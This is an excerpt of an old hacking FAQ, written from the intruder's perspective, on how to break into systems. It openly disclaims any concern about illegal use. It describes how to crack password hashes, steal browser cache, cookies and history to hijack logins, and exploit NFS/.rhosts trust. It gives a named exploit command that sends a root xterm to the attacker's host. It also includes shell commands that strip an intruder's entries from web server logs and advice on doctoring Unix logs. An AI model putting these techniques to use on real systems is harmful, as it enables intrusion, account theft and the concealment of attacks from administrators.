

The Hack Faq

by Simple Nomad, editor

Excerpted from <http://www.nmrc.org/pub/faq/hackfaq/index.html>
(last visited September 27, 2006)

Sections 1 2 3 4 6 8 10 28-31

The Hack FAQ

1.0 Administrivia

The following was originally compiled in June 1998 and updated January 2003. It answers some basic questions about this FAQ.

1.1 What is the mission and goal of this FAQ?

If we said "to teach hacking", we would be lying.

First off, no documentation will teach you how to hack. This FAQ simply attempts to answer common questions regarding some of the underlying mechanics.

Second, we will not be drawn into a debate regarding usage of terms (hacker vs. cracker, etc.) and will certainly not be drawn into a discussion on the moral or legal issues involved. The material is what it is - no more, no less, and we use terms the way we see fit to answer a question from the intruder perspective.

The goal here is simply information dissemination.

* * *

1.7 Where is the disclaimer?

There is no disclaimer. Disclaimers are lame and idiotic LawyerSpeak. We don't care how you use this information. If you use it to break the law, fine. If you get caught, fine. If you use it to secure a system, fine. We are responsible for ourselves, therefore we need no "disclaimer". Instead, here is our *exclaimer* -- **PISS OFF**.

The only thing more lame than a disclaimer on a web page is a disclaimer in a sig file (we all know how many millions of dollars in attorney's fees are saved by sig files every year).

2.0 Attack Basics

2.1 What are the four steps to hacking?

While there is no hard and fast rule to hacking, most system intrusions can be divided into four steps. Depending on techniques involved, there could be less or more, but you can get the basic idea.

1. Learn as much as possible about your target before the attack. The techniques involved can be passive to bordering on mini-attacks themselves. And plan out your goals. Using your knowledge gained to develop a plan, no matter how small or quick the hack is.
2. Initial access to the system. No doubt about it, this is the real attack part. This could be anything from FTP access to a sendmail bug to logging in as a "regular" user. It should create an opportunity for either indirect or direct access.
3. Full system access. At this level, most goals developed can be carried out: password file retrieved for cracking, trojan installed, secret file copied, etc. This stage usually involves either taking advantage of a bug that allows higher privileges to be obtained, taking advantages of misconfigured system parameters, or a combination of both.
4. Tracks are covered and backdoors installed. System logging is doctored to remove traces of the attack and what was done during the attack, and either defenses are lowered or files are tampered with to allow quicker and easier access. Some experienced hackers even patch the system to keep less experienced hackers out of the system (who might possibly tip off a administrator through clumsiness). Once step four is complete, hackers will refer to this system as being owned.

Of course, some steps might be repeated, especially step 2. Or maybe an entire series of mini "1-2-3-4-1-2-3-4" attacks are used in concert to obtain access to a system or achieve a goal.

3.0 Account Basics

This section deals with the basics regarding computer accounts.

3.1 What are accounts?

Accounts are a way of identifying users to a computer system. Other terms you may see or here are IDs, user IDs, logins, or some other variant. Most systems, when initially accessed, will require you to provide an account name, and will usually require you follow up with a password. Not knowing a password sucks, but not knowing a valid account name sucks more.

Account names are usually something either very common: such as a part of the user's name like tshimomura or kmitnick, part of a user's function like dbadmin or webmaster, or sometimes kind of goofy such as employee numbers like u121, or something made up like up-uat or inmsho. Usually, if you can find out one or two regular user account names, it might be possible to guess additional names -- particularly if employee numbers or account numbers are used.

Accounts can usually be divided up into four categories -- god, special, regular, and guest. A god account can usually do anything system-wise, from adding more users to changing anybody's password to complete system reconfiguration. As a hacker, this is typically your objective. Special accounts are usually either accounts used by the system itself or accounts that fulfill some type of administrative roll without full god access. Regular accounts are simply that -- the accounts used by regular users for their normal tasks. And guest accounts are accounts designed for anyone to use -- these are usually there as a convenience for those who do not have a regular account on the system. A good example of this is anonymous FTP. Typically, guest accounts have fairly restrictive access to the system, especially on publicly accessible systems.

4.0 Password Basics

This section deals with the basics regarding passwords.

4.1 What are some password basics?

Most accounts on a computer system usually have some method of restricting access to that account, usually in the form of a password. When accessing the system, the user has to present a valid ID to use the system, followed by a password to use the account. Most systems either do not echo the password back on the screen as it is typed, or they print an asterisk in place of the real character.

On most systems, the password is typically ran through some type of algorithm to generate a hash. The hash is usually more than just a scrambled version of the original text that made up the password, it is usually a one-way hash. The one-way hash is a string of characters that cannot be reversed into its original text. You see, most systems do not "decrypt" the stored password during authentication, they store the one-way hash. During the login process, you supply an account and password. The password is ran through an

algorithm that generates a one-way hash. This hash is compared to the hash stored on the system. If they are the same, it is assumed the proper password was supplied.

Cryptographically speaking, some algorithms are better than others at generating a one-way hash. The main operating systems we are covering here -- NT, Netware, and Unix -- all use an algorithm that has been made publically available and has been scrutinized to some degree.

To crack a password requires getting a copy of the one-way hash stored on the server, and then using the algorithm generate your own hash until you get a match. When you get a match, whatever word you used to generate your hash will allow you to log into that system. Since this can be rather time-consuming, automation is typically used. There are freeware password crackers available for NT, Netware, and Unix.

4.2 Why protect the hashes?

If the one-way hashes are not the password itself but a mathematical derivative, why should they be protected? Well, since the algorithm is already known, a password cracker could be used to simply encrypt the possible passwords and compare the one-way hashes until you get a match. There are two types of approaches to this -- dictionary and brute force.

Usually the hashes are stored in a part of the system that has extra security to limit access from potential crackers.

4.3 What is a dictionary password cracker?

A dictionary password cracker simply takes a list of dictionary words, and one at a time encrypts them to see if they encrypt to the one way hash from the system. If the hashes are equal, the password is considered cracked, and the word tried from the dictionary list is the password.

Some of these dictionary crackers can "manipulate" each word in the wordlist by using filters. These rules/filters allow you to change "idiot" to "1d10t" and other advanced variations to get the most from a word list. The best known of these mutation filters are the rules that come with Crack (for Unix). These filtering rules are so popular they have been ported over to cracking software for NT.

If your dictionary cracker does not have manipulation rules, you can "pre-treat" the wordlist. There are plenty of wordlist manipulation tools that allow all kinds of ways to filter, expand, and alter wordlists. With a little careful planning, you can turn a small collection of wordlists into a very large and thorough list for dictionary crackers without those fancy word manipulations built in.

4.4 What is a brute force password cracker?

A brute force cracker simply tries all possible passwords until it gets the password. From a cracker perspective, this is usually very time consuming. However, given enough time and CPU power, the password eventually gets cracked.

Most modern brute force crackers allow a number of options to be specified, such as maximum password length or characters to brute force with.

4.5 Which method is best for cracking?

It really depends on your goal, the cracking software you have, and the operating system you are trying to crack. Let's go through several scenarios.

If you remotely retrieved the password file through some system bug, your goal may be to simply get logged into that system. With the password file, you now have the user accounts and the hashes. A dictionary attack seems like the quickest method, as you may simply want access to the box. This is typical if you have a method of leveraging basic access to gain god status.

If you already have basic access and used this access to get the password file, maybe you have a particular account you wish to crack. While a couple of swipes with a dictionary cracker might help, brute force may be the way to go.

If your cracking software does both dictionary and brute force, and both are quite slow, you may just wish to kick off a brute force attack and then go about your day. By all means, we recommend a dictionary attack with a pre-treated wordlist first, followed up by brute force only on the accounts you really want the password to.

You should pre-treat your wordlists if the machine you are going to be cracking from bottlenecks more at the CPU than at the disk controller. For example, some slower computers with extremely fast drives make good candidates for large pre-treated wordlists, but if you have the CPU cycles to spare you might want to let the cracking program's manipulation filters do their thing.

A lot of serious hackers have a large wordlist in both regular and pre-treated form to accommodate either need.

* * *

* * *

6.0 Logging Basics

This section contains information regarding logging basics.

6.1 Why do I care about auditing, accounting, and logging?

Auditing, accounting, logging -- call it what you will, these are things used to create permanent or semi-permanent records of events on a system. Unfortunately, these can record your intrusion activities, sometimes in explicit and evidence-worthy detail. Therefore, potential intruders should not only be aware of what record keeping is available (either as a regular feature of the system or as add-ons) and have possible methods for defeating such recordings.

Some types of logging include simple text files with entries showing logins and logouts, maybe failed logins. Others show what programs were accessed, which programs were attempted to be run and the request failed, or keep track of an individual's disk usage. All can reveal info that can allow an administrator to reconstruct an attack.

6.2 What are some different logging techniques used by Admins?

Admins generally prefer to use simple logging techniques so as not to pile onto their current workload. Logs take up space. Large log files are sometimes very difficult to sift through as sys admins are looking for problems. These logs are usually stored in directories generally protected from casual viewing, or at least editing.

6.3 Why should I not just delete the log files?

Typically log files do not disappear. This might lead a curious sys admin to poke around looking for problems, and the paranoid sys admin to look for intruders. The logs should be edited if possible, or the entries made into them made to look as normal as possible.

8.0 Web Browser As Attack Point

This section deals with the web browser and the securing/hacking thereof.

8.1 What is unsafe about my browser?

There are two main areas regarding security around a browser -- reading your private files and manipulating you into a compromising situation.

Just a few files can provide a *lot* of information about yourself. These include cache files, the history file, and your bookmarks. Usually, if you are a typical home user, this is not a problem. But if your browser directory is stored on a server, the server could be compromised and then anything in the cache and history is in the hands of someone else.

Every access and submitted form, including those to change passwords on servers whose service you are paying for.

Being manipulated is the other hot area. You can be tricked into supplying user IDs and passwords, revealing personal information like Social Security and credit card information, or even be presented with misinformation to cause you to act in a way to cause a vulnerability to arise. If your browser supports HTML extensions and/or Java, your history file, cache, and other files could be plucked from your hard drive. Your machine could be used as a mechanism to attack other resources behind your firewall, sending critical information to an offsite hacker. And while vulnerabilities in most mainstream browsers are constantly patched to prevent this type of behavior, certain hackers are constantly finding new holes.

Check out [Georgi Guninski's home page](#) for a good example of browser problems in the Internet Explorer and Netscape sections.

8.2 What's in the history, bookmark, and cache files?

We'll cover all three. First the history file.

For most browsers, the default color for a clickable link is blue. Once you've clicked on it and visited the link, it changes purple. While the colors may be different depending on the page design, the way your browser keeps track of this information is via the history file.

Again, for most browsers, the default is 30 days to expire a link, making it possible to see the last 30 days worth of web surfing by examining the history file. "Hmm, Fred keeps looking at a particular set of stocks. Does he know something I don't? Hey, Martha keeps looking at lesbian sites. What would her homophobic boss say about that?" Get the idea?

Here's a formatted example:

```
http://www.google.com/search?q=microsoft+stock+price+takeover+rumor+apple
http://www.google.com/search?q=apple+macintosh+hack
http://www.google.com/search?q=audit+trail+hide
```

If this were from the history file of someone at Microsoft, it might be quite interesting, even valuable.

Bookmarks are a problem for the same reason: it shows what sites you regularly browse. If you are bookmarking sites which require passwords to enter, a quick look your the cache will possibly reveal those passwords, or at least your account IDs.

The cache is your browser's way of making things a little easier on your access time, the server you're accessing, and the network in general. What happens is that when you

access a web page, a copy of the page and any graphics used on that page are stored locally. That way, if access the page again, your browser can pull up the local copy instead of accessing the network. This saves time and bandwidth. When you reload, your browser compares the cached file to the one on the server you are accessing and pulls down the latest one. Most browsers will also cache queries and form submissions, as well.

If you are looking for dirt on someone, looking for credit card information, or just want to find out what someone's been up to, check their cache. Every query to a search site like Google is stored in cache. Typically, every form submission including browsing pages that require an ID and password will be there, unless a site has tagged a HTML document to not be cached.

The cache is typically located in a subdirectory underneath the browser's working directory, usually with the word "cache" in the directory name, depending on your OS and browser version. Otherwise, it may be stored in a temporary directory. For example, IBM's Web Explorer for OS/2 will store its cached files in C:\TCPIP\TMP, and is flushed before each run of the program.

Here is a formatted example from a cache's index file on a Unix workstation, with names changed to protect the not-so-innocent ;-)

```
n b <http://altavista.digital.com/cgi-bin/query?pg=q=web=>
10=.=%2bhack+%2bnt+%2bserver E1
```

```
00/cache31DF458002EC693.cgi
text/html
```

```
4 ( <http://www.example.com/user/register.cgi> (r)
rE1 10/cache31DF457002CC693.html
```

```
text/html
. " <http://www.example.com/use>
r/welcome.html *1 J 14/cache31DF18940
27C693.html
text/html J
```

Here are three entries. In the first, the user is trying to get NT hacking information from AltaVista. In the second, the user is trying to get signed onto a site called www.example.com, and finally it looks like the user got in. The three cache files are:

- 31DF458002EC693.cgi
- 31DF457002CC693.html
- 31DF1894027C693.html

You could view these files with a browser, since they're just local copies of the web pages. If 31DF457002CC693.html had a password in it and it was unreadable, you could still do the following:

Access the site yourself and try to login. Check your own cache and replace your cached file with the file 31DF457002CC693.html, renaming it to what your cache file was, and then resubmit the form. If the site is doing only password security, you might get in. If you still don't get in, try substituting the cookie file, as well (in the next section).

The information gained from these sources can also be quite useful for social engineering purposes. For example, you could determine the user was interested in aquariums and rare fish, and use that to assist in guessing a password.

8.3 What other browser files are important?

The cookie file (typically named 'cookie.txt') is a file used to store persistent information about your browser and Web server connection. Since HTTP requests are "connectionless" - one connection for every request - the cookie file is used to track information about the whole session with a server. This way a server can track information about you during your visit, by giving you a cookie. The cookie might typically track info such as which page you've been to or how you answered a question on a previous form. And due to the connectionless protocol, it keeps the cookie on the client.

This might not seem like a problem, but since Javascript can write information to the cookie file before it is sent to the server, limited information can be gathered about a user - typically, the email address. So, occasionally, the cookie.txt file will contain interesting information, usually not.

Here's an example of how the cookie file could be used here:

A user loads a page. It checks for its cookie in the cookie.txt file. If the cookie is there, the state the user left the page in last visit is restored (and we can jump to the last step). If no cookie is present, it is assumed the cookie is expired or it's the user's first visit. A default page is built for the user. The user clicks and selects stuff on the page. The user leaves the page. The cookie is updated with the changes made to the page.

The other important file is that pull-down menu in Netscape that showed the last 10 or so sites you've visited. This is typically located in the netscape.ini file in the [URL History] section. A clever Java applet could grab this information and ship it offsite, or if you've compromised a server where everyone has their config files in user directories, you can get to this information.

A couple of other directories that contain interesting files are the MAIL and NEWS subdirectories for Netscape. The MAIL directory will, of course, contain not only your inbox if you're using Netscape as your email application, but log every email sent out from your browser whether you are using Netscape for email or not. The file is typically called Sent, and is turned on for logging by default.

It is interesting to note that, while it is trivial to send fake email via Netscape (simply make the changes to the return address and send), the outgoing message is stored in the MAIL directory by default in most browsers. While fake email is still pretty easy to track down, having a copy of the message on your machine that you don't know about can be pretty damning evidence.

* * *

8.5 How can I protect my browser files?

Well, you could disable cache (or set its size to zero) but that would certainly hurt performance. Usually flushing your cache at the end of a session or before visiting a site that's unknown would be good. Setting your history file preference to zero or wiping the file at the end of the session is also okay.

Don't put stupid stuff in your bookmark file ;-)

You can edit your cookie.txt file, removing any cookies and then using your local operating system make the cookie.txt file read only.

Disable the logging of outgoing email messages, unless you don't have a problem with anyone reading them.

A site can learn a lot about you, even without Netscape or Java. Take a look at [Anonymizer Privacy Analysis](#). With extra logging options, a site can log your OS, browser, e-mail address, hostname, and last site visited. This isn't using JavaScript, either. Some companies use this info to build mailing lists, and track all of this info. To prevent this, you could use Anonymizer's site as a "proxy" to surf anonymously. Instructions are at the anonymizer site, and it currently offers limited free service.

If most of this is Greek to you, and you simply read this FAQ because you are afraid of computer bad guys, go to [Download.com](#) and look for a product called Cookie Monster. This product allows you to clean up any or all of these files, and is fairly easy to use (some of us actually use Windows clients here).

* * *

10.0 The Basic Web Server

This section deals with other platforms but it mainly refers to Unix-based Web servers.

* * *

10.4 How does the server resolve paths?

Typically, a server will resolve paths by having a point in the configuration files that says something like "turn ~ into public_html", which means that ~thegnome will resolve to /server/path/to/documents + public_html. Therefore, if your server's path to docs is /usr/local/etc/httpd/htdocs with a sub directory under that of public_html with all of the users' directories under THAT, http://www.example.com/pub/public_html/thegnome becomes <http://www.example.com/~thegnome> and accesses the same file.

The problem with resolves is that some sites (depending on software, revisions, os, patches, etc) will resolve based off of the /etc/passwd listing of the home directory. This is good for intrusion, bad for security. As stated earlier in the FAQ, accessing <http://www.example.com/~bin/etc/> can yield interesting results. In practical experience, we've seen this more often on BSD derivatives with Apache than anything else.

10.5 What log files are used by the server?

This entirely depends on the server software and how it is configured. It is usually in a subdirectory called "logs" in a different section of the tree than the regular web pages. It is usually named "access_log" for Apache or NCSA, or "access" for Netscape, or some other easily self-identifying name. This log will contain entries like so:

```
thegnome.example.com - - [14/Dec/1996:00:13:31 -0600] "GET
/nomad/ HTTP/1.0" 200 293
thegnome.example.com - - [14/Dec/1996:00:13:35 -0600] "GET
/nomad/2.html HTTP/1.0" 200 303
thegnome.example.com - - [14/Dec/1996:00:13:39 -0600] "GET
/nomad/3.html HTTP/1.0" 200 333
thegnome.example.com - - [14/Dec/1996:00:13:43 -0600] "GET
/nomad/4.html HTTP/1.0" 200 359
thegnome.example.com - - [14/Dec/1996:00:13:47 -0600] "GET
/nomad/5.html HTTP/1.0" 200 385
thegnome.example.com - - [14/Dec/1996:00:13:51 -0600] "GET
/nomad/6.html HTTP/1.0" 200 434
thegnome.example.com - - [14/Dec/1996:00:13:55 -0600] "GET
/nomad/nomad.html HTTP/1.0" 200 1988
thegnome.example.com - - [14/Dec/1996:00:14:02 -0600] "GET
/nomad/unix/index.html HTTP/1.0" 200 5066
thegnome.example.com - - [14/Dec/1996:00:14:28 -0600] "GET
/nomad/unix/cvnmount.exploit HTTP/1.0" 200 3117
```

Obviously, if your phf accesses are in there, it could be incriminating. If you gain access, you might want to eliminate yourself from them.

1. `mv access_log access_tmp`
2. `cat access_tmp | grep -v thegnome.fastlane.net > access_log`
3. `rm access_tmp`

The same with the error log. Called error_log or error, it's entries look like so:

```
[Thu Dec 19 22:10:02 1996] access to
/usr/local/etc/httpd/htdocs/nomad/faqs/netware.htm failed
for dyn2121a.dialin.example.com, reason: File does not
exist
[Thu Dec 19 22:10:21 1996] access to
/usr/local/etc/httpd/htdocs/nomad/faqs/_free.html_ failed
for dyn2121a.dialin.example.com, reason: File does not
exist
[Thu Dec 19 23:29:35 1996] access to
/usr/local/etc/httpd/htdocs/nomad/HTTP failed for
niobe.example.com, reason: File does not exist
[Thu Dec 19 23:48:19 1996] send script output lost
connection to client ip189.raleigh3.nc.example.com
[Thu Dec 19 23:48:25 1996] send script output lost
connection to client 10.0.1.1
[Fri Dec 20 09:19:13 1996] accept: Connection reset by peer
[Fri Dec 20 09:19:13 1996] - socket error: accept failed
[Fri Dec 20 10:35:41 1996] accept: Connection reset by peer
[Fri Dec 20 10:35:41 1996] - socket error: accept failed
[Fri Dec 20 10:39:55 1996] access to
/usr/local/etc/httpd/htdocs/nomad/unix/Xtx86.c failed for
192.168.1.1, reason: File does not exist
```

28.0 Unix Passwords

This section deals with Unix passwords.

28.1 How do I access the password file in Unix?

The password file for Unix is located in /etc and is a text file called passwd. By default and by design, this file is world readable by anyone on the system. On a Unix system using NIS/yp or password shadowing the password data may be located elsewhere. This "shadow" file is usually where the password hashes themselves are located.

28.2 What's the full story with Unix passwords?

Okay, first off, let's cover the structure of the password file.

An entry in the password file consists of seven colon-delimited fields:

nomad:HrLnrZ3VS3TF2:501:100:Simple Nomad:/home/nomad:/bin/bash

This is what the fields actually are:

nomad
Account or user name, what you type in at the login prompt
HrLnrZ3VS3TF2
One way encrypted password (plus any aging info)
501
User number
100
Group number
Simple Nomad
GECOS information
/home/nomad
Home directory
/bin/bash
Program to run on login, usually a shell

The password field contains, yes, a one-way encrypted password. This means that it is practically impossible to decrypt the encrypted password. The password field consists of 13 characters - the first two characters are the "salt" and the remainder is the actual hash.

When you log in with your account name and password, the password is encrypted and the resulting hash is compared to the hash stored in the password file. If they are equal, the system accepts that you've typed in the correct password and grants you access.

* * *

Unix passwords allow mixed case, numbers, and symbols. Typically the maximum password length on a standard Unix system is 8 characters, although some systems (or system enhancements) allow up to 16 characters.

28.3 How does brute-force password cracking work with Unix?

Brute-force password cracking is simply trying a password of A * * * following by B, C, and on and on until every possible character combination is tried. It is very time consuming, but given enough time brute force cracking WILL get the password.

There are a few brute-force crackers out there for Unix passwords. Any brute-force cracker will do

28.4 How does dictionary password cracking work with Unix?

Dictionary password cracking is the most popular method for cracking Unix passwords. The cracking program will take a word list, and one at a time try to crack one or all of the

passwords listed in the password file. Some password crackers will filter and/or mutate the words as they try them, such as substitute numbers for certain letters, add prefixes or suffixes, or switch case or order of letters.

The most popular cracking utility is probably Alex Muffet's program, Crack. Crack can be configured by an administrator to periodically run and automatically mail a nastygram to a user with a weak password, or run in manual mode. Crack can also be configured to run across multiple systems and to use user-defined rules for word manipulate/mutation to maximize dictionary effectiveness - very flexible. However it is probably too much program for the novice script kiddie.

Another popular favorite is John the Ripper, based off of the popular DOS-based Jack the Ripper. Jack had a number of easy-to-use features, and Solar Designer took Jack's interface and developed John. To make things even better, Solar added Crack-like rules, and made sure the code would run on DOS or Unix. Either one is recommended. If you're going to be cracking on a DOS-based machine, use John the Ripper, otherwise either one is fine for Unix (the jury is still out on which one is best for Unix, it really depends on which one you are used to using).

* * *

29.0 Unix Local Attacks

This section deals with attacking Unix from a local account or from the console itself.

29.1 Why attack locally?

When you are trying to gain root on a file server, one method to start with is to gain at least limited access on the system. There are large number of exploits to "bust root" but many require you have an account on the box. Here is an example attack scenario:

- Gain access to server `www.example.com` via guest account (note to idiots: [this domain is reserved](#)).
- Note that it's running an older version of Linux.
- Prowl around on Bugtraq or some other place with exploit code, and find an exploit for one of the outdated or unpatched programs or subsystems.
- Compile and run it to become root.
- Brag to all your friends and on IRC so you get caught and go to jail (this step is optional).

29.2 How do most exploits work?

There are several different attack techniques you can use from a local account and the handy exploit you are running. Here are a few common ones with extremely simple explanations:

Misconfiguration

If excessive permission exist on certain directories and files, these can lead to gaining higher levels of access. For example, if /dev/kmem is writable, it is possible to rewrite your UID to match root's. Another example would be if a .rhosts file has read/write permissions allowing anyone to write them. Yet another example would be a script launched at startup, cron, or respawned. If this script is editable, you could add commands to run with the same privileges as who started them (for startup rc files, this would be as root).

Poor SUID

Sometimes you will find scripts (shell or otherwise) that perform certain tasks and run as root. If the scripts are writable by your id, you can edit it and run it. For example, we once found a shutdown script world writable. By adding a few lines at the beginning of the script it was possible to have the script create a root shell in /tmp.

Buffer Overflow

Buffer overflows are typically used to spawn root shells from a process running as root. A buffer overflow could occur when a program has a buffer for user-defined data and the user-defined data's length is not checked before the program acts upon it. See the next question for more details.

Race Conditions

A Race Condition is when a program creates a short opportunity for evil by opening a small window of vulnerability. For example, a program that alters a sensitive file might use a temporary backup copy of the file during its alteration. If the permissions on that temporary file allow it to be edited, it might be possible to alter it before the program finishes its editing process.

Poor Temp Files

Many programs create temporary files while they run. If a program runs as root and is not careful about where it puts its temp files and what permissions these temp files have, it might be possible to use links to create root-owned files.

* * *

30.0 Unix Remote Attacks

This section deals with hacking Unix systems remotely.

30.1 What are remote hacks?

A remote hack is when you attack a server you are not logged into. Usually this is done from another server, although in some cases you can do it from a regular PC (depending on the operating system).

Guessing a user account and password (unless it is a guest account) on a remote system is *barely* considered a remote hack, so we're not really cover that. We'll assume you don't know an account name and password on the remote system.

Remote hacks come in a couple of different flavors. Usually exploiting an existing service running on the victim server (which is misconfigured or allows too much access) is the goal. Exporting a NFS mount read/write to anyone might not be a bad thing, but if you can NFS mount directories containing .rhosts files, then it can be a very bad thing. Also, certain daemons running might be subject to buffer overflows remotely, allowing someone from a remote location run arbitrary commands on the victim server.

Here are a couple of examples:

1. You are root on a host named badguy.
2. You discover the host victim is exporting /home2/old read/writable to the world.
3. You also discover by fingering various accounts that user fred's home directory is /home2/old/fred and he hasn't logged in for months.
4. Quickly, you create a fred account on badguy.
5. Now you mount /home2/old and create an .rhosts file to establish trust with badguy.
6. After you become fred on badguy, you rlogin to the victim as fred.

Here's another attack involving a buffer overflow:

1. This remote system is running named.
2. You have written a named exploit that allows you to send arbitrary commands through the named daemon. It does a buffer overflow trick, you compile it and name it sploit.
3. You type: `sploit ns.example.com "/usr/X11R6/bin/xterm -display badguy.whatever:0"`
4. A window appears on your terminal that is running as root on ns.example.com.

31.0 Unix Logging

This section contains info regarding logging for Unix.

31.1 Where are the common log files in Unix?

Log files for Unix vary from flavor to flavor, but there are a few guidelines as to where these logs are kept.

System log files and accounting files are in `/var/adm`, `/var/log`, or sometimes `/usr/adm`. Common log files include 'messages', 'syslog', and on some systems 'sulog'. Checking `/etc/defaults` and `/etc/syslog.conf` may reveal more. Also 'wtmp', 'utmp', and 'lastlog' will contain information regarding logins.

The most important one will probably be syslog. Most utilities, including security add-on programs can write to syslog, so it makes a handy location for dumping info. But bear in mind that there are a lot of processes that might log to separate log files. Here are some potential files to look for:

- `/var/spool/cron/log`
Cron log file
- `/var/log/maillog`
Logs inbound and outbound mail activity
- `/var/spool/lp/log`
Log file for printing

There are more, but this should give you an idea.

31.2 How do I edit/change the log files for Unix?

Most of these files are text files and can be easily edited, assuming you have the permission to do so. But some of these files require you to write special tools to edit them, mainly utmp, wtmp, and possibly lastlog.